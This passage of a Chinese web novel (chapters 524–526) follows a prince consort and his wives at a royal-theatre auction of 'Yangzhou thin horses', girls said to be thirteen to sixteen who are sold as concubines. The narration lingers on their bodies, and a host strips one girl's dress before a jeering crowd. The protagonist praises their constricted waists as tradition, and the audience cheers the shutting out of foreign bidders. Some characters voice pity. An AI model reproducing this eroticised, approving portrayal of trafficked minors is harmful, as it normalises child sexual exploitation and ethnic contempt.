但林臻则表示同意,因为不管是皇家大剧院,还是皇家书院,最终都是属于大众的,而并不是皇家这一个集体的。 可是慕容嫣坚持要太高标准,说这次晚会,普通百姓不能进,奴隶不能进,社会底层人员也不能进,就只能是官员、富商,社会名流,豪门大族的人可以进。 林臻想着,这倒也不算什么太高的要求,普通百姓本来就交不起门票钱,干脆也就答应了。 林臻没有跟着金子涵走,而是在外面等。 她在等张俪和司马椿蕾。 昨天进宫,司马椿蕾也听说了扬州瘦马的事情,嚷嚷的要来看,慕容嫣同意了。 张俪亲自坐车去接,想来也该到了。 果然,远处马车铃铛声想起,林臻回眸,就见一辆奢华的枣红马马车徐徐而来,在林臻面前停下。 “吁!!” 驾车的太监和上次的不是一个人,估计是被司马椿蕾处理掉了。 小太监很机灵,反身下车,给林臻行礼。 “奴才参见世子。” 林臻点点头,他又跑回去,整个人趴在马车边上。 张俪撩起车帘,司马椿蕾走出来,踩着太监的身体下车。 张俪想了想,觉得自己踩太监不合适,幸好有机灵的丫鬟搬来个凳子,放在马车的另一边。 张俪笑着下车,与司马椿蕾一前一后向林臻走来。 “夫君。”两人异口同声。 林臻点头:“怎么这么慢?” 张俪说:“嗐,今天堵车嘛。” “就是,朱雀大街那边都快堵死了,我们特意从青龙大街绕过来的。” 堵车... 好陌生又熟悉的词儿啊。 “前面带路。”林臻吩咐一声,金子涵转身开始带领众人走进皇家大剧院。 进了门,抬眼便是挑高五丈的门厅,二十盏水晶莲花灯从穹顶垂落,每片水晶都经过精密切割,将暮色碎成流淌的星河。 地面铺着波斯进贡的金丝地毯,靛蓝底色上绣着百匹奔腾的骏马,马鬃处缀着米粒大的东珠,每走一步便泛起细碎的银光。? “我草,真是够奢华的。” 和林臻一样,每一个进来的客人都带着无以伦比的惊叹。 “天呐,这也太豪华了吧!” “不愧是皇家剧院!” “这是东珠啊!我的天,这得花多少钱才能建成!” “仅此一座剧院,足以彰显我大乾的繁华盛世!” 金子涵带着林臻等人来到楼梯处:“世子,三楼包厢请,小的还要去招待别的客人,就送到这里了。” “嗯。”林臻点点头,随即又见一位小厮过来。 “世子请。” 小厮袖口绣着的缠枝莲纹,与穹顶的藻井图案相映成趣。 众人穿过旋转楼梯时,林臻的指尖划过扶手的紫檀木雕,细腻的纹路里嵌着细碎的螺钿,在壁灯映照下显出海市蜃楼般的光影。 这是大乾匠人的独门手艺,每道纹路都暗合八卦方位,据说能聚气招财。? 还记得当初只是和张俪提了一嘴,说要打造一个全国最豪华,最牛逼,最上档次的歌剧院。 没想到才一年时间,就已经建好,而且如此繁华。 三楼包厢的门推开时,穿着宫装的司马椿蕾的惊叹声先一步溢出:“天呐,这椅子竟比本宫的软榻还舒服!” 说完她率先一步坐下,整个人瞬间陷进天鹅绒沙发里,明黄缎面的贵妃装衬得肌肤胜雪,腕间三串东珠手链叮当碰撞。 林臻扫过包厢陈设:落地长窗足有两丈高,窗框用整块缅甸翡翠雕成缠枝莲纹,推开窗便能将整个圆形舞台尽收眼底;沙发前的玛瑙小几上摆着冰镇酸梅汤,水晶壶里的冰块叮咚作响,竟是用西域寒玉凿成,丝丝凉气顺着镂空的壶身漫出来,将四月的燥热隔绝在窗外。? “世子请看。”小厮指着舞台中央的圆形凹槽,“此处暗藏机关,可升降三尺,冬日注热水循环,夏日填冰水降温。” 说完他退后半步,垂手立在天鹅绒帷幕旁:“今夜共有七十二名瘦马待售,头牌姑娘会从穹顶的莲花台降下,那莲花台用纯银打造,镶着波斯进贡的夜明珠。” 林臻倚着窗台望去,一楼的环形坐席已坐满大半,每张椅子都是胡桃木包边,椅面铺着鹅黄缎面,椅背绣着不同的花鸟图案,竟无一处重复。 舞台四周的壁灯次第亮起,灯座是展翅的凤凰造型,尾羽处嵌着琉璃片,灯光透过便在穹顶投下漫天霞羽,与中央的水晶灯交相辉映。 他忽然想起曾经的传闻。 瘦马售卖会是流动的黄金宴。 此刻看来,这黄金宴的奢靡远超想象。? “夫君你看!”司马椿蕾忽然拽住他的袖口,指尖指着一楼东侧,“那些穿墨绿衣裳的,是不是扬州来的牙婆?听说她们每人都带着三五个瘦马,连走路的步态都要练上三年。” “娘娘有所不知。”张俪忽然开口,月白色旗袍领口的珍珠链随动作轻晃,“那牙婆袖口绣着的缠枝莲纹,是扬州首富陈家的标记。” 她指尖划过玛瑙小几的边缘,幽幽地说:“今夜头牌瘦马出自陈家,起拍价怕是要千两往上。” 浣碧默默替林臻斟上酸梅汤。 第一次见识这般奢靡的场合,她还有些不太习惯。 不过她早已不是当年的小丫鬟,而是个真正见过世面的世子夫人,即便不习惯,也不会露怯,更不会做出什么不符合规矩的事情来。 林臻的目光掠过楼下攒动的人头,忽然听见司马椿蕾在旁嘀咕:“听说这瘦马琴棋书画样样精通,这次不如买个会下棋的瘦马回去,天天陪我下棋!” 林臻转头时恰好看见她发间的玉步摇轻轻晃动,便笑着接话:“那就给你拍一个回去,但是咱说话,人家姑娘已经很苦了,你可不能再欺负人家了。” “怎么会嘛?臣妾什么时候欺负过人!” “你?你还不欺负人?” “臣妾没有嘛!那是他们自己不听话,不听话自然好罚!” 司马椿蕾管理后宫,人人都怕她,私下里更说她是不下蛋的老母鸡硬装司晨。 当然了,这样的话有人传,但是也不敢真说出来,否则司马椿蕾绝对会拔掉她的舌头。 若拍下会下棋的瘦马,可不许嫌人家棋艺太精。"? 水晶灯的光辉在穹顶流转,很快皇家大剧院便关上巨大的门。 主持人踩着雕花台阶登上舞台。 他身着月白缎面长袍,腰间悬着拇指粗的珊瑚珠串,抬手间便让全场鸦雀无声。 这是扬州瘦马行公认的“金口”,曾靠三寸不烂之舌让半幅《璇玑图》拍出天价。? “各位贵客,各位来宾!”主持人的声音像浸了蜜的酥油,在万春阁的穹顶下袅袅回荡,“感谢诸位在百忙之中抽出时间来参加今晚的扬州瘦马。再次,我毕某人感到无比的荣幸。首先介绍今晚的重量级嘉宾!摄政王府世子!” 第524章 弱柳扶风 说完,毕主持抬手向林臻那边示意。 林臻知道这是开场白,于是友好地对下面招招手。 “当朝宰相,司马忠大人!” 司马忠坐在二楼,也向大家挥手示意。 司马椿蕾酸溜溜地说道:“父亲怎么也来了?” “你父亲是当朝宰相,这样的盛世场合,他怎么可能不来?” “父亲该不会是想买一个回去,和臣妾娘亲争宠的吧?这也太...” “别想那么多,好好看着。” 一想到某个十几岁的小姑娘在家里和自己母亲争宠,司马椿蕾就气不打一处来。 买吧。 只要你敢买,我就敢都给你弄死。 我看谁敢跟我娘争宠。 毕主持在介绍了一圈高官、社会名流之后,继续说道:“今儿个咱们不聊琴棋书画,单说这扬州瘦马的讲究。” 他抬手示意,十二盏琉璃灯突然照亮舞台角落的朱漆屏风,“诸位瞧这屏风上的《相马经》,可是前朝状元郎专为瘦马所著,里头讲究瘦不露骨,小不弱风,尖不刺目,弯不折腰,咱们今晚的主角,可都是照着这二十四字经养出来的妙人儿!” 一楼传来低低的惊叹声。 “哦~原来瘦马还有这么多讲究!” “难怪价值高呢,原来是培养出来的。” “这么好的东西早就该拿到大乾来,在南楚能有什么前途!” “首先登场的......”主持人话音未落,朱漆屏风“吱呀”分开,八名妙龄女子提着琉璃灯鱼贯而入,灯影摇曳间露出月白色襦裙的绣鞋。 “扬州万金楼的十名青蚨瘦马!” 他抬手虚引,最前方的妇人踩着三寸木屐上前,鬓边金步摇晃出细碎银光。 “这位是万金楼的王妈妈,经手过的瘦马能从扬州排到京城,最是懂得如何调教出“步步生莲”的妙人!” 说着话,王妈妈向四周行礼:“奴家给诸位贵人见礼了!”? 她仪态自然,带着淡淡的笑容,可见已经不是第一次参加这样的场合了。 司马椿蕾忽然拽住林臻的袖口:“夫君,青蚨瘦马是什么讲究?” “娘娘,这是取青蚨还钱的典故。”张俪轻声解释,“指的是买回去能帮主子招财的瘦马,这类最得商贾喜爱。” 她望着舞台上排成两列的瘦马,见她们腰间都系着青蚨钱形状的玉佩,忽然轻轻叹气。? 可怜的姑娘们啊,买回去也是被当成玩物送来送去的。 “各位贵客看好了!”王妈妈开口便是扬州官话,尾音拖得像浸了糯米酒,“咱们万金楼的姑娘,最小的十三岁,最大的不过十六岁,琴棋书画不敢说精通,却都识得《女诫》《内训》,端茶倒水、唱曲儿解闷更是不在话下。” 她抬手轻推最左侧的少女:“这是我们家小蛮,生得一双丹凤眼,偏能弹得一手好琵琶,去年在扬州盐商宴上,可是让三位老爷争破了头呢!但是奴家都没舍得卖,带来京城给诸位贵人相看了!”? 一楼东侧传来轻浮的笑声,穿墨绿缎面的富商摸着胡须嚷嚷:“王妈妈别卖关子,快让咱们瞧瞧身段!” “就是啊,你都挡住了,我们看什么!” “赶紧让开!” “对呀!人都说瘦马的步态要练三年,今儿个可得让咱们开开眼!”? 他身边的官员跟着起哄,袖口的珊瑚珠串撞出清脆声响。 林臻望着舞台上的少女们,见她们双手交叠置于小腹,莲步轻移时裙裾擦过地面,确实走出了“三步一摇,五步一停”的韵味。 最中央的少女眉心点着鹅黄花钿,转身时露出后颈的朱砂痣,倒像是朵开败的梅蕊。? “好个步步生莲!”二楼传来武官的粗嗓门,林臻探头一看,居然是周泽。 这个老色批,平时还真没看出来。 “这腰肢比杨柳枝还软,抱在怀里怕不是要化了!哈哈哈哈。”他的话惹来一阵哄笑,连三楼的贵妇人都用团扇遮着嘴窃笑。? “诸位贵客莫急。”主持人适时开口,展开手中的描金折扇,“万金楼的十名姑娘,俱是一琴二棋三书画的好料子!” 他指着第二名少女:“瞧瞧这小棋,能背《棋经》三百篇,与客人对弈时还懂得故意让子,最是讨老爷们欢心。”? 司马椿蕾忽然凑近,胭脂香混着酸梅汤的凉气扑面而来:“夫君快看啊,那个穿藕荷色襦裙的姑娘,腰肢比本宫的素纱裙还要窄上两寸呢,天呐,这到底是怎么练出来的!这以后能经得起府里的差事么?” “瘦马讲究的便是弱柳扶风。” 林臻望着少女们被束缚得几乎无法呼吸的腰肢,赞赏道:“这样的姑娘才值更高的价钱,这是传统,也是审美。不过买回去是做妾室还是丫鬟,全看主子心意了。”? 舞台上,王妈妈正挨个展示少女们的绣帕:“各位贵客瞧瞧这针脚,都是姑娘们凌晨卯时便起来练的,连指甲缝里都浸着胭脂粉。”她忽然举起幅并蒂莲绣帕,“这是小绣的手艺,若买回去给大夫人做贴身丫鬟,保管能讨得夫人欢心。” “得了吧王妈妈。”一楼有人大声打断,“咱们买瘦马可不是为了做丫鬟的!” “对啊!” “谁家还缺丫鬟呐?哈哈哈哈。” 哄笑声中,那人大声嚷嚷:“少废话,我出一百两,要那个会弹琵琶的小蛮!” “一百两?你也好意思说出口!”立刻有人加价,“我出二百两!” “三百!” “四百两,我要那个小棋,正好陪我下棋解闷!” “小棋?小棋最少也得六百!我出六百!” 竞价声像沸水般炸开。 浣碧看得眼睛发直,忽然拽住林臻的手:“夫君你听,不过片刻功夫,价格便翻了两番。这瘦马真值这么多钱吗?妾身进府的时候,才十五两银子。” “哈哈哈哈,她们当然没办法和你比,不过瘦马向来都是这个价钱。” 浣碧望着张俪:“张俪姐姐常说赌场是销金窟,如今看来,瘦马售卖会才是真正的黄金窝。”? “五百两!”周泽红着脸举牌,“那个小绣我要了,腰肢正好堪握!谁抢我他妈跟谁急!” 他的话惹来一阵嘘声,却让王妈妈笑得合不拢嘴。? 林臻看着舞台上的少女们,见她们虽面带浅笑,眼底却透着一丝麻木。 那个叫小蛮的琵琶姑娘,指尖还留着练琴磨出的薄茧,却在主持人喊出“四百两”时,乖乖地向出价的富商福了福身。? “五十头牛!我要那个小绣!” 这突如其来的一句把在场所有人都喊傻了。 众人齐刷刷回头看去,就见来自蛮蒙的两个草原汉子正大马金刀的坐在那,满脸兴奋。 顿时全场哗然。 “放肆,这是我们大乾的盛事,跟你们有什么关系?” “就是,还五十头牛,亏你说得出来!” “哪里来的憨货,叉出去!” 林臻的指尖也骤然收紧。 瘦马虽然是买卖,但却是我们汉族人的事儿,绝不允许外族人染指。 “夫君,莫要冲动,且看看那主持怎么说。”张俪轻轻摇头,示意他稍安勿躁。 王妈妈显然没料到会有外族商人出价,愣了一瞬,撇撇嘴,翻着白眼说:“这位猛士,不好意思了,我们汉家子女,不卖外族人。” 林臻闻言,带着朕心甚慰的感恩说道:“说得好,拍卖继续。” “哈哈哈哈。” “几个蛮蒙来的蛮夷人,也妄想染指我们汉家女子。” “真是癞蛤蟆想吃天鹅肉!” “自取其辱了吧!” “你们!”穿着游牧民族装扮的汉子站起来吼道:“你们这是歧视!” “就歧视你,怎么样啊?” “想打架啊?还是想开战啊?” “都不想就滚出去!” “你们!你们大乾欺负人!我要回去状告可汗,狠狠治你们的罪!” 他话没说完,就被几名看场子的壮汉拖了出去。 一场闹剧谁也没在意,拍卖继续。 这时有人喊到:“那小莲怎么卖的?” 王妈妈这才堆起笑脸:“这位老爷好眼光,咱们小莲可是万金楼的头牌,起拍价便是五百两呢!” “五百五十两!”一楼的盐商立刻加价,“小莲我要了,回去给老娘做孙媳!”? 竞价声越来越高,最终小莲以八百两成交,成为万金楼十名瘦马中价格最高的一个。 当她低头跟着买家离开舞台时,眉间的花钿被汗水晕开,像朵褪色的春樱。? “这些姑娘,大多是被父母以五两银子卖给牙婆的,养到十六岁,却能卖出千两高价。”她望着司马椿蕾,“娘娘可知道,五两银子在扬州能买三石白米?”? 司马椿蕾的笑容忽然淡了些,手指无意识地摩挲着帕子:“这有什么关系?她们若不被卖作瘦马,怕是连三石白米都吃不上。与其在寒门吃糠咽菜,不如在富贵人家做个妾室,起码能穿金戴银。” “穿金戴银?”张俪轻笑一声,“娘娘不知道吧?瘦马进门要行开脸礼,用丝线绞去面部细毛,疼得死去活来;若是不得宠,便会被发卖去烟花柳巷,那时连五两银子都不值。”? “那也比吃不上饭好吧?” 林臻望着这对各执一词的妻妾,忽然觉得她们的争论,恰如这舞台上的灯光。 有人看到的是繁华,有人看到的是悲凉。 他忽然开口:“别争了,《瘦马行规》下月便要推行,今后瘦马买卖需注明出身来历,且年满十六岁方可售卖,以后瘦马的情况会越来越好的,俪儿,你也不要难受了。” 说完,他望着司马椿蕾,“椿儿,你可知道,我为何规定十六岁?”? 司马椿蕾摇摇头,发间的玉步摇轻轻晃动。 林臻忽然望向舞台,见最后一名瘦马正被人以三百两买走,唇角勾起一丝苦笑:“因为十六岁,是她们能自己决定去留的年纪。” 舞台上,主持人正在为下一组瘦马造势,水晶灯的光辉依旧璀璨。 林臻靠在沙发上,看着金丝地毯上闪烁的东珠,忽然觉得这一晚的所见所闻,不过是扬州瘦马产业链的冰山一角。 那些被明码标价的少女,那些在竞价声中流转的命运,终将在《瘦马行规》的推行下,慢慢迎来些许改变。 哪怕只是让她们在被挑选时,多一丝作为人的尊严。? “夫君你看!”司马椿蕾忽然指着舞台,“下一组瘦马要登场了,这次是雪梅瘦马,听说个个生得冰清玉洁,肌肤赛雪。” 她转头望向张俪,“妹妹,你说咱们王府要不要买几个?” 张俪没说话。 林臻望着她眼底的微光,忽然想起昨夜在赌场,她剥蟹时的专注神情。 或许,改变就该从这一个个看似微不足道的规定开始,就像这大剧院的灯光,虽然无法照亮所有角落,却能让站在舞台上的少女们,看见一丝挣脱枷锁的希望。? 第525章 一万两! 很短的时间内,第一批瘦马被一抢而空,宾客的热情更加高涨,欢呼声,喜悦声不绝于耳。 林臻把这一切听到耳朵里,心里万分骄傲。 这就是自己亲手打造出来的太平盛世啊。 所有的人都在笑,都面露激动,瞪着眼睛等下一波瘦马登场。 这时,皇家大剧院穹顶的夜明珠突然次第明灭,如银河坠地。 舞台背面,十二面青铜编钟轰然奏响《玉树后庭花》,乐声中,身着玄色织金长袍的毕主持踏过铺满玫瑰花瓣的台阶,手中鎏金折扇唰地展开,扇面瘦骨生香四个泥金大字在光影里流转。? “诸位,毕某人没有骗你们吧!我们扬州的瘦马绝对是天下一绝!” 这时周围有人喊。 “别墨迹了,抓紧下一批。” “就是,老子都等到不耐烦了,抓点紧。” “我们还要看姑娘!” “哈哈哈哈。” “诸位稍安勿躁!今晚的瘦马绝对是有史以来最多的一次,足够大家挑选!”他的声音裹挟着龙脑香在剧院回荡,“方才万金楼的青蚨瘦马不过是开胃小菜,接下来请出扬州第一楼‘醉仙阁’的镇阁之宝!”? 说完他将折扇猛地指向穹顶,七十二瓣银莲应声绽放。 水晶灯骤然转为血色,十二名少女自莲花台徐徐降落。 看到这,林臻颇为好奇,他问身边的张俪:“俪儿,这小子是在这里彩排过吗?” “夫君英明。”张俪答道,“五天前他们就已经租下了整座歌剧院,日夜排练,就为了今天一展身手。” “真是暴利啊,搞的我都想插一手了。” 司马椿蕾最是不嫌事儿大,她轻轻遮住檀口,笑道:“呵呵呵,要不夫君真在京城里也弄个什么什么马吧?蚂蚱腿也是肉呢,干嘛非让他们赚去。” “呵呵呵。”林臻笑着摇摇头,“算了吧,这玩意就像西湖龙井和普通龙井的区别,都知道西湖的龙井好喝,谁还愿意花大价钱买普通的?瘦马是扬州特色,也只有扬州出来的瘦马才值钱,我们根本做不来的。” 张俪点点头。 作为商人,他对林臻的话深以为然。 不过听林臻不打算搞这些,她也暗暗有些窃喜,毕竟她实在是不喜欢人口买卖。 “哇!!” 这时,外面传来齐刷刷的一声惊呼。 林臻看去,就见那十二名瘦马身披蝉翼纱衣,颈间缠绕着由东珠串成的枷锁,脚踝系着的银铃随着颤抖轻响。 最前方的红衣少女怀抱焦尾琴,眉间贴着的翡翠花钿映得眼眸如泣血,正是传闻中能让铁石心肠之人落泪的“泣珠儿”。? 穿孔雀蓝云锦的盐商打翻了手边的蜜饯盒,东珠滚落满地;二楼武官腰间的佩刀当啷作响,目光死死钉在少女们若隐若现的腰肢上。 短暂的安静后,宾客爆发出此起彼伏的抽气声。 “这、这哪里是瘦马,分明是广寒宫的仙子!”? “这也太漂亮了吧?” “你们看她的皮肤,好白好白啊!这若是能摸一下,少活十年都值!” “身段好,皮肤白,长相貌美!人间极品啊,今晚谁他妈都不许和老夫抢,那个最白的,老夫要了!” 不仅仅是宾客,就连向来对长相自信点司马椿蕾,都生出一股自叹不如的感觉。 毕主持高声喊着:“醉仙阁的姑娘,个个过目难忘——泣珠儿擅操《断肠曲》,曾让扬州知府为其散尽家财;含雪会七国外语,能与波斯商人对答如流;更有这个......” 他突然扯开某位少女的纱衣,露出腰侧朱砂绘制的并蒂莲:“胭脂,她身上的胎记便是天然的祥瑞!”? 叫胭脂的瘦马微微蹙眉,似乎对毕主持这样的动作很是不高兴。 但是她没有办法反抗。 只有这样把胸前大片雪白裸露出去,让上千人同时观看。 “啊!衣服掀开了!” “哎呀,关键的地方看不到啊!” “谁说不是呢,再往下一点啊!” “但该说不说她胸前的花可真好看,这姑娘估计价格不便宜啊!” 宾客的哄闹声几乎要掀翻屋顶。 尤其是那些大色狼,眼睛都快把胭脂的纱裙看穿了。 西南角的富商之子不等毕主持把话说完,就扯着脖子大喊:“本公子出一千两,要那个红衣服的!” 话音未落,三楼传来环佩叮当,某位贵妇掷出镶满宝石的锦帕:“一千五百两!泣珠儿归我调教!”? “狗屁,一千五就想买走泣珠儿?我出两千!你那一千五拿回去买棺材吧!” “大胆!你竟敢这样和我说话!” “说的就是你,咋滴?” 林臻听到有人争吵,于是去看,就见户部侍郎和工部员外郎一个劲儿的拉自己老婆,都说消消气,消消气之类的话。 好家伙,这种场合怎么能带老婆来嘛?真拿自己当林臻呢。 林臻听着楼下的对骂,自己端起酸梅汤轻啜,目光扫过台下失控的人群。 穿绯色官服的御史大人正与富商勾肩搭背,全然不顾官服歪斜;平日里端庄的诰命夫人们也纷纷摘下凤钗作为竞价筹码。 他忽然轻笑,墨玉扳指敲了敲玛瑙几面:“看来《瘦马行规》推行前,这市场倒比赌场还疯狂。”? 张俪凝视着舞台,指尖无意识摩挲旗袍开衩处的金线。 当某个瘦弱少女因站立不稳险些摔倒,被牙婆狠狠掐住手臂时,她睫毛猛地颤动:“可怜的姑娘,连呼吸都要被教,被卖作瘦马那日起便活得不如物件了,唉。”? “矫情!”司马椿蕾涂着丹蔻的手指点向胭脂,“你瞧她生得这般标志,被哪家贵人买去都是享福。” 说完她忽然转头冲林臻娇笑,“夫君,咱们也凑个热闹?若拍下泣珠儿,往后王府宴客可很有面子呢!”? 林臻只是笑而不语。 其实他也挺喜欢泣珠儿的,但是花几千两银子买回去当小妾,除非他疯了。 再有钱也不是这么花的,他不是暴发户,是吃过劳动人民底层苦难的创业者。 很快,竞价声已攀升至骇人听闻的数字。 最开始喊话的富商之子青筋暴起,将整袋金饼砸在面前桌上:“五千两!谁与我争!” 二楼传来阴森笑声,不知道哪来的大地主,张口喊道:“五十颗东珠!换泣珠儿!”? 此时,一楼东侧的某位富商突然站到椅子上,手中摇晃着一沓银票,油腻的脸上堆满肥肉:“六千两!我江南织造府有的是钱,泣珠儿归我!” 他的话音刚落,二楼传来一阵环佩叮当,几位身着华服的贵妇人相互使着眼色,其中为首的徐夫人站了出来,手中的鎏金步摇晃得人眼晕:“七千两!我倒要看看,谁敢和我抢!”? 舞台上,少女们如提线木偶般任人评头论足。 含雪始终垂眸盯着脚尖,指甲深深掐进掌心,苍白的嘴唇微微颤抖;胭脂被众人打量胎记时,泪水在眼眶里打转,却不敢发出半点声响,只能将头埋得更低;唯有泣珠儿抱着焦尾琴岿然不动,血红裙裾下,脚踝的银铃被攥得变形,眼神中满是倔强与不甘。? 而就在这个时候,四楼不起眼的小包厢里,慕容嫣都快把椅子扶手抓碎了。 “这帮鸟人!买个瘦马几千两几千两的叫价,合着大乾就朕一个穷鬼!” 射月跪在她脚边给她按摩,慕容无舌站在身后给她看门。 没有人知道皇帝也来了。 慕容嫣甚至连林臻都没告诉。 “八千两!” “噗!!”慕容嫣一口茶水喷了出去,“什么玩意?八千!?” 不是被这个价格吓到,而是出这个价格的居然是林臻!! 林臻突然举牌,声音压过全场哗然。 “哇!!”司马椿蕾惊喜尖叫,一把抱住林臻的手臂,眼中闪烁着兴奋的光芒:“夫君威武!” 张俪则微微皱眉,瞥见他袖中滑落的《瘦马行规》草案一角,心中暗自揣测他的意图。 台下众人纷纷转头,看到世子出手,竞价瞬间凝滞,所有人都屏住了呼吸,目光在林臻和其他竞价者之间来回游走。? 主持人激动得声音发颤,脸上的笑容几乎要咧到耳根:“还有哪位贵人——”? “一万两!”角落里响起清脆女声。 众人惊觉,竟是乔装打扮的慕容嫣。 她摘下青铜面具,凤目含威,周身散发着不容置疑的气势。 “这泣珠儿,朕要了!”她的话语一出,整个大剧院陷入了一片死寂,只听见沉重的呼吸声此起彼伏。? 很快,便有官员下跪,高呼。 “参见陛下!!” 紧接着所有人都齐刷刷下跪,包括司马椿蕾、张俪、浣碧以及台上的毕主持和瘦马们。 但慕容嫣只看一个方向。 那就是林臻。 她很生气。 平时林臻给她钱都是扣扣搜搜,能少点就少点,可是呢?结果呢?他居然花八千两买一个瘦马! 讨厌!这个家伙真是讨厌死了! 她对所有人都好,偏偏就对自己不好! “恭喜陛下,泣珠儿由陛下所得!”毕主持也是个妙人,知道这个节骨眼不能再喊价了,因为也不会有人敢和皇帝抢,干脆直接宣布结果。 慕容嫣气鼓鼓的说:“这一万两由林臻付钱,哼。” 说完慕容嫣扭头就走。 所有人再次高呼:“恭送陛下。” 只有林臻傻了。 不是,我就开个玩笑,至于么? 其实林臻是看到了带着青铜面具的慕容嫣,故意喊价逗逗她。 在他看来,泣珠儿的最终成交价一定会在一万两左右,可谁知道这妮子这么沉不住气,直接掀桌子。 还让我付钱?凭什么? 搞笑呢。 林臻望着慕容嫣离开的背景,摸了摸鼻子。 “看来某人又生气喽。” 张俪心有余悸的起身,说道:“夫君,陛下不会因此难为您吧?” “怎么会呢?就算是皇帝,她也是我的女人,只不过耍耍小性子而已。” 司马椿蕾声音也有点颤抖,她拉着林臻的手说:“不管怎么样,臣妾今天可是不回去了,陛下太可怕了!” 林臻拍了拍她的手:“那就回家,正好这几天蛮想你的。” “嘻嘻嘻,真的嘛!太好啦,今晚可以抱着夫君睡觉了呢!” 慕容无舌手持拂尘,亲自下来将泣珠儿被带离舞台。 林臻清楚的看到,泣珠儿下台时抬头望了他一眼。 那目光里有解脱,更有看透一切的悲凉,仿佛在无声诉说着命运的无奈。 可怜的姑娘,这回到皇宫里还指不定受到什么虐待呢。 但是林臻没法管,因为这就是她的命,但愿慕容嫣不会对她下手吧。 ...... 大剧院门口,慕容嫣那辆十分低调的小马车就在那停车位里,慕容嫣气鼓鼓的一步蹦到车上,准备钻进去,忽然眼角余光看到无舌牵着刚刚那丫头走了过来。 她厉声呵斥道:“带她干什么?” 无舌浑身一颤。 “陛下,她是您的啊。” “什么腌臜的东西,朕不要!全都给林臻送去,告诉他,这就是他花一万两买回来的瘦马!” 说完慕容嫣钻了进去。 无舌尴尬的站在原地,目送马车渐行渐远,最后无奈的对身边姑娘说道:“算你捡了条命。” “多谢公公。” 泣珠儿的声音十分柔弱,看起来弱不禁风的样子。 这小模样连七十多岁的太监都有些动心。 他无奈的摇摇头,带着泣珠儿奔王府而去。 接下来的拍卖愈发癫狂,含雪被某位富商以三千两银子的价格买走时,胭脂的胎记被认定为祥瑞,最终拍出六千两天价。 随着拍卖的继续,每一名瘦马的登场都引发新一轮的争抢。 一位梳着双丫髻的少女怯生生地走上舞台,她不过十三四岁的模样,浑身止不住地颤抖。 台下立刻有人叫嚷:“这小模样真招人疼,我出五百两!” “六百两!我府里正缺个端茶倒水的!”少女听着这些话语,眼泪大颗大颗地滚落,却不敢擦拭。? 又有一位身姿婀娜的少女,怀抱琵琶款款而来。 她强作镇定,指尖却在琴弦上微微发颤。 “好个美人儿!这身段,这脸蛋,我出一千两!” “一千五!这琵琶技艺定是一绝!”竞价声中,少女的眼神逐渐黯淡,仿佛已经预见了自己未来的命运。? 包厢内,张俪望着满地狼藉,翡翠镯碰撞玛瑙几发出冷响,眼中满是痛惜。 “这些数字,够赈济三个县的灾民,可她们的命,却比鸿毛还轻。”? 司马椿蕾已看累了闹剧,歪在沙发上打哈欠,语气满是不以为然:“说到底不过是买卖,各取所需罢了。她们生在贫苦人家,能被买走是福气,总好过饿死街头。”? 林臻没有接话,情绪也从刚开始的兴奋变成了木讷。 最后他起身说道:“没什么看头了,我们也走吧。” 第526章 谢世子垂怜 八匹骏马拉着的鎏金马车缓缓碾过王府的汉白玉拱桥,车轮与石板相撞,发出沉稳而有节奏的声响,惊起了栖息在桥边柳树上的几只夜鸟。 林臻抬手掀开缀满东珠的车帘,一股裹挟着槐花香气的夜风扑面而来,吹散了车内残留的胭脂水粉味。 他踩着雕花踏板落地,墨玉扳指在月光的映照下泛着冷冽的光泽,抬眼便瞥见管家林安早已候在朱漆大门前,当即有些好奇。 今天因为扬州瘦马拍卖会,慕容嫣特意下旨宵禁晚两个时辰,平常这个时间林安早就睡觉了。 林安身上的青布长衫被风吹得猎猎作响,他躬着身,恭敬道:“世子!”? 林臻跳下马车,问道:“怎么还没休息?” “回世子,无舌公公来了,带着一位少女在会客厅等您呢。” “少女?” 林臻心下一沉。 该不会是泣珠儿吧?慕容嫣没把她带回皇宫,然后送家里来了? 什么情况,这一万两银子我非给不可了呗? 没错,林臻还没付钱呢,不过作为主办方,毕主持他们并不着急。 堂堂大乾摄政王府,不可能差他的一万两银子。 甚至说与银子相比,还是面子更重要,王府不会因为一万两银子就把面子里子全丢掉。 所以当泣珠儿走的时候,根本没有人去阻拦。 林臻点点头,对林安说道:“知道了,你回去休息吧。” “是。” 林安转身离开,并且吩咐丫鬟小厮全程跟着伺候马车。 马车里,司马椿蕾的明黄缎面裙摆率先探出车厢,十二颗浑圆的东珠随着她的动作轻轻晃动,在夜色中划出细碎的银光。 “娘娘,奴婢接您。” 司马椿蕾纤细的手搭在雪琪的手上,缓缓迈出车厢,腕间的三串东珠手链相互碰撞,发出清脆悦耳的声响,如同悦耳的环佩叮咚。 月白色绣鞋刚一触及地面,她便挺直了腰肢,发髻上的赤金步摇随之轻轻颤动,整个人昂首挺胸,神态倨傲,宛如一只骄傲的孔雀,每一个动作都散发着贵妃独有的优雅与高傲。 她简单动了动腰,惊奇地道:“夫君,为什么您的马车这么舒服?而臣妾的马车坐起来总是腰疼呢!” “因为我的马车后面是用减震桥的,你的马车是车轱辘。” “啊?桥还能放在马车上!?” 司马椿蕾哪里懂这些? 她是生不逢时啊,偏偏最会宫斗的人,没有了宫斗对象,以至于现在闲得无聊都要买瘦马回去下棋玩了。 林臻说:“这是灵儿改装的,回头我让她多弄些出来,给大家的马车都装上桥,这样坐起来就舒服了。” 浣碧下车后,张俪最后一个下车,她身着紫色旗袍,将曼妙的身姿勾勒得淋漓尽致。 随着步伐移动,她腕间的翡翠镯轻轻滑动,发出细微的声响。 她淡淡地瞥了眼司马椿蕾张扬的模样,唇角勾起一抹若有若无的笑意,转头对林臻说道:“夫君,明日妾身还要与漕帮谈盐引的事,这就回去休息了呢。”? 林臻微微点头,目光从众人身上扫过,沉声道:“都早些歇息吧,我去会客厅看看。” 说罢,他抬脚向内院走去,靴底与青砖碰撞的声音在寂静的夜里格外清晰。 司马椿蕾看着林臻的背影,对身边两女说道:“你们说,这个少女会是谁?” 张俪说:“肯定是泣珠儿。” 浣碧也深以为然地点点头。 司马椿蕾攥着小粉拳,有些不甘心地说:“夫君明明说了今晚陪本宫的,真是.....诶?” 忽然,她眼睛一亮:“要不我们偷偷去看看?” “啊?” “还是不要了吧?” 张俪和浣碧都不感兴趣,她们也没有司马椿蕾那么大醋劲。 当初林臻和顾缜欢好的时候,司马椿蕾甚至想下毒毒死顾缜。 见两女都不去,司马椿蕾跺了跺脚。 “不行,绝不能让这个狐媚子抢了我们姐妹的风头,我去看看!” 说完她也急匆匆地朝会客厅走去。 张俪和浣碧对视一眼,都是无奈的摇摇头。 